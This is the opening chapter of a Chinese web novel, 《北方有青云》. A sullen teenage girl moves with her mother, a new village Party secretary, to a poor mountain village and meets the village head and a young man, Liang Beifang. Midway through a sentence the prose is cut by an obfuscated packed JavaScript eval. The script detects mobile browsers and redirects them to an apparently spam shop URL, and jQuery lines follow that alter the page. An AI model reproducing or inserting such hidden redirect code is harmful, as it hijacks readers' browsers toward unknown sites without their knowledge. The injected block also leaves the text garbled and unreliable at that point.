《北方有青云》
文/程十予
/2026.惊蛰晋江文学城首发
“最喜欢听你用那特殊的嗓音喊我的名字，仿佛许多许多阴霾的云垛被你这么一喊，太阳就破空而出，又清清朗朗地照在我寒冷的生命河川上，”——简媜《水问》
-
“砰——”地一声，何青云一头撞在厚厚的车玻璃上，身体往前一倾。
“啊嘶……”她抬手，揉揉额头，好不容易酝酿的睡意被撞得荡然无存。
还不等她反应过来，大巴车又突然下坡冲刺，连拐几个大弯，失重感让她心漏了好几拍，下意识抱紧怀里的书包。
坐她旁边的女人也被惊醒，随即注意到她的动作，递过一瓶水：“哎呦这个车开得，听说这几天下暴雨，路都被冲烂了，应该不晕车吧？”
何青云接过：“不晕。”
“那你喝点水，要吃水果不？”
“都不要。”她拒绝。
大巴车开得颠簸，像游乐园里的碰碰车，只怕水一打开就要泼得满身都是。
胃也不太舒服，恶心得不行，吃完水果可能会吐。
而且车里味道很大，夹杂着旱烟和皮革的味道。
何青云有点头晕了，直起身去开窗。
女人自顾自地打开袋子掏出几个龙眼：“吃不吃点？还有两个小时才到，先垫垫肚子。”
“妈我不吃。”
“那面包吃不吃？”
“我都说了我不吃。”
陈红眉头一竖：“你吼什么？这也不吃那也不吃，身体要不得的，我这不都是为了你……”
又来了，又是这个语气。
何青云也有点不耐烦了，嘟嘟囔囔地把脸侧过去：“我自己饿了会吃，才不要你管。”
最后几句话她小声地吞到肚子里，生怕被陈红听见。
大巴车行驶在山野小路上，很窄，两侧树木郁郁葱葱，遮挡了大部分阳光，只斑驳地撒在泥巴路上。
流动地空气冲散了令人不适的味道，何青云头微微探出，任由自己的碎发随风飘动。
路上有赶羊的村民，旁边还跟着一只大黄狗，鲜红的舌头伸得老长，和成群的小羊沿着山路走，大巴车不得已停下，好给他们让路。
何青云觉得新奇，伸伸脖子往下看。
小羊咩咩叫，赶羊人懒洋洋地抽着鞭子，接着狠狠吸了一口旱烟。
可能是怕车上人等得着急，司机从驾驶位探出头：“喂，走快点要得不？我这一车人还要赶路嘞——”
赶羊人踢了踢黄狗的屁股，示意它带着羊走快点。
“知道了知道了。”
当他经过何青云车窗边，何青云迅速捂住鼻子屏住呼吸，熟练地往后躲了躲，等烟味散去，她又把头探出去。
好想养一只小狗，再养一只小猫，叫什么名字好呢……
何青云思绪渐渐放空，手托着下巴七想八想。
等羊群走完，司机这才点了火，大巴车“突突”地启动。
“青云？青云？”
“嗯？”何青云回过神来，“怎么了妈妈？”
陈红指指她怀里的书包：“东西都自己准备好了吧，这里可不比城里，东西落了可没人帮你回去取。”
“带了带了。”何青云扯开书包拉链，一样一样数给陈红看：“户口本，转学申请表，我的档案……来之前检查好几遍了，都在这儿呢。”
“嗯，齐了就好。”
陈红点头，看向女儿。
何青云继承了她和丈夫优良的基因，素白的小脸，眼尾下垂，头发乌黑，用一根皮筋绑着，细细软软地垂在脑后，谁看了不说一句“乖娃娃”。
就是瘦，穿着棉麻布料的白色吊带裙，细细的肩带松松垮垮地挂在白皙的肩头，竹竿一样，空空荡荡的。
陈红还因为这个带她去医院查过，除了有点贫血，什么事都没有。
就是何青云自己不爱吃东西，饮食也不规律，母女俩因此还吵了很多次架。
陈红叹了口气：“你说你，非要跟着我下乡，不晓得你想些什么……”
“我就要跟着你，你去哪我去哪。”何青云梗着脖子，气呼呼的，像是十分抗拒谈论这个话题。
陈红拿自己女儿没办法。
何青云爸爸重病走得早，她是陈红一手带大的。小时候走丢过一次，差点没找回来，等陈红急匆匆赶到警局，小小的何青云就坐在凳子上默默低头啜泣，旁边围着几位女警柔声安慰。
看到陈红跌跌撞撞跑过来，小何青云嘴一撇，嚎啕大哭起来。
也许就是这一次受到的惊吓太大，之后何青云就离不开陈红了，去哪都要带着。
即使现在何青云青春期，别扭又拧巴，即使母女俩三天一小吵五天一大吵，话不投机半句多，何青云还是很依赖她。
恋母情结。
陈红想到同事说过的话，眉头更紧。
想到这里，她又忍不住絮叨：“我的意思是你现在高二，正是学习的关键时期，那乡里的教育资源肯定没有你学校好，你自己成绩什么样自己心里有数，所以到了这边更不能松懈，学习上的事妈妈也帮不了你，你要上什么样的大学自己要有目标……”
“你别老说我学习行不行！”一谈到成绩学习，何青云就跟炸了的刺猬，语气带着火。
陈红最不喜欢她这个语气，转过身来也生气了：“学习还说不得的啊，你现在在学校排多少名我都不好意思说，重本都考不起，你张阿姨的儿子，理科前二十，隔壁家女儿，文科前五十，你看看你自己，以前成绩不是挺好的吗，到了高中越学越差，越学越回去，还怎么考大学？”
察觉到座位前面好像有人在往后看，何青云压低了声音，但胸口不断起伏：“成绩成绩，你就只会说这些！”
“你现在不讲成绩讲什么？我告诉你你现在最重要的事就是考一个大学，学习上的事自己不上心，妈妈说你两句就开始顶嘴，你现在是怎么回事？”
何青云就知道要吵架，头一转拒绝对话。
陈红还在数落：“我告诉你啊，前两天买的手机，是让你有事方便联系我的，不准玩游戏，上课放老师那里，回家了给我放鞋柜上，听见没有？别让我发现你偷偷玩手机成绩下降了啊……”
“又不是我非要你买的！”吼完这句话，何青云鼻头一酸，眼泪不争气地流出来。她连忙抬手去擦，装得若无其事。
但眼泪越擦越多，她就假装看窗外的风景。
两个人就这样沉默着不说话，谁也不肯先低头。
直到大巴车稳稳停住，司机解开安全带往后喊：““大麦村到了——有要下车的没——”
“有！”陈红应道，拿起包，转头催促，“走了，快点。”
何青云不情不愿地跟着下了车。
两人刚下车取完行李，站台处就有两个人迎了上来。
年纪大点儿的中等身材，黄脸瘦削，颧骨突出，一下握住陈红的手。
“是……陈书记不？”
说话卷着舌头，带着浓浓的乡音。
“哎哎哎，我是我是。”陈红立马反握，“请问您是……”
“哦哦，我是咱们大麦村的村长，姓马，马成功。上面说咱们村来了个女书记，这不，我带个人过来接接你。”
“马村长啊，你好你好，叫我小陈就行。”陈红爽朗笑笑。
何青云怯生生地站在后头，被他们熟稔的初见吓到，捏着书包肩带悄悄往村长那边观察。
一抬眼，正巧和村长旁边的男人对上视线。
男人肩宽腿长，身型挺拔，漆黑的碎发半垂着，遮不住立体的眉眼。鼻梁高挺，眉骨连着，投下一道阴影。
他注意到她观察般的视线，掀起眼皮冲她扯出一个笑，懒散抬手。
“嗨！”
隔着两道人的身影，何青云看清他脸的瞬间，呼吸一滞。
立马低下头，无视男人动作，盯着自己脚下。
村长和书记的谈话还在继续，何青云守着行李百无聊赖。
不料陈红下一秒将自己推出来：“这是我女儿，何青云。青云，这是马村长，叫人。”
何青云小声说：“马，马村长好。”
她声音干净，像井口汩汩外溢的泉水，叮咚落在青石板上。
马村长叼着烟斗：“哎好好好，这名字好听。陈书记，你女儿长得不错嘞。”
陈红笑着接话：“就是人有点内向……”
“……”何青云不接话，只想着什么时候能走。
寒暄许久，陈红才终于注意到旁边还站着人。
“哎，这位是……”
村长介绍：“哦，我们村北方，力气大，带他过来帮你们搬行李。”
男人好脾气笑笑，好像一点儿也不在乎自己刚才被无视。
“书记好，我叫梁北方。”
他又偏头，冲躲在母亲身后的何青云打招呼。
“妹妹好。”
何青云有些尴尬地点点头。
谁是他妹妹。
陈红打量男人一阵：“小伙子有力气，那就辛苦你了。”
接着对村长说：“村
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372061|199961||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长，这天也不早了，先去房子里看看休息休息吧，坐了这么久的车，孩子也累。”
村长忙声接话：“哎呦哎哟，你看我这记性，光顾着讲话去了，走走走，先进屋，进屋再说。那个，北方啊，你去帮人小姑娘提行李。”
“好嘞。”
梁北方得了命令，上前几步来到何青云面前。
“这些都是你们的？”他问。
“嗯。”何青云小声回。
梁北方不含糊，弯腰，三两下提起行李，提不住的就缠在手腕上，转头道：“我们走吧。”
何青云眼睁睁地看着需要她和妈妈两个人合力才能勉强提起的行李被梁北方像提玩具一样轻松拿着，小麦色的手臂青筋凸起，半天说不出话。
“……走，走吧。”
“书包要我拿吗？”他又折返回来，低头问。
“不用了，我自己背。”
他隔她很近，何青云能看见他双眼皮褶皱极深，瞳孔漆黑，下颌线利落，淡色的薄唇紧抿着，又在下一秒弯出一个好看的弧度。
她又低下头去。
梁北方“嗯”了声，示意她跟上，四人往山下走去。
村长在前面给陈红介绍：“…………这个房子大，我让人打扫了一边，这样您和闺女也省事，刚好，北方家也在这儿，你们以后有什么事就叫他帮忙……”
“太客气了……”
何青云心里还是有气，边走边踢小石子，脚步愈来愈慢，前面的讲话声也渐渐小了。
就这么慢慢走，都不会有人发现她掉队了。
“哼。”
烦死了，她狠狠拉了一下书包肩带，发出不小的动静。
前面人迅速转头。
“怎么了？不舒服吗？”
何青云吓了一跳，眨眨眼抬头，像是自己的小世界被人闯入，小心思一览无余。
“呃……没有。”
这个男的怎么也走得这么慢？
梁北方笑笑：“没事就好，陈书记和村长都上前了。”
“哦。”何青云瞥他一眼，又迅速移开视线，“内个，还要走多久啊？”
“快了，前面下了那个坡就到了。”
正说着，突然，一道黄色的东西从旁边树丛里窜了出来，伴随着一阵嘹亮的狗叫声。
“汪汪——汪汪汪——”
何青云一惊，下意识尖叫：“啊——！什么东西？！”
梁北方眼疾手快地挡在她面前，厉声呵斥：“嘘，八角！”
小狗兴冲冲地跑到梁北方脚边，对着他摇尾巴，却对着他身后的何青云龇牙咧嘴，发出呼噜呼噜的声音。
何青云惊魂未定，捏着肩带的手指都发白。
“原来是小狗……”
自己刚才那个样子，好丢脸。
梁北方冲小狗道：“八角，回家去，不准出来吓人。”
又转过来安抚她：“没事吧？它不咬人，就是闻到生人气，有点兴奋。”
何青云摇摇头：“我不怕狗。”
“那就好，你要是喜欢，随时来找它玩。”
“……嗯。”
坡下立着俩栋木房子，中间有一个大平地连着，前面是田，背后靠山。
超级简陋。
村长带着他们走向右边的木房。
“咱们村里条件不好，还请书记别……”
“挺好的。”陈红说，“组织上派我来呢，就是为了带着咱们村脱贫致富的，要是一开始就什么都好，那我就不用来了吗是不是？”
“哎是是是。”
“那今天就辛苦你们了，我先和青云把东西收拾收拾，明天就去开会，更加全面的了解一下村子的情况。”
“好好好，有陈书记一句话，我也放心。北方，你把东西放进去。”
“都放好了。”梁北方回。
何青云站在青石板上，看着他们道别。
陈红冷不丁拍了她一把：“青云，快谢谢人家。”
又拍她。
何青云忍着烦躁，声音干巴巴的：“谢谢村长，谢谢……”
和妈妈的争吵，加上转学等事，她脑子晕晕的。那个才听过一次的名字，在混乱的脑子里打了个结，吐不出来。
“梁北方。”一旁的男人立马接上，没有任何被遗忘的不快，“叫我名字就行。”
她一卡壳，正对上梁北方含笑看她的眼。
她又飞快垂眼，脸上有点热。
“……谢谢。”她最终吐出两个硬邦邦的字，跑进了屋里。
一切就这样乱了套地开始。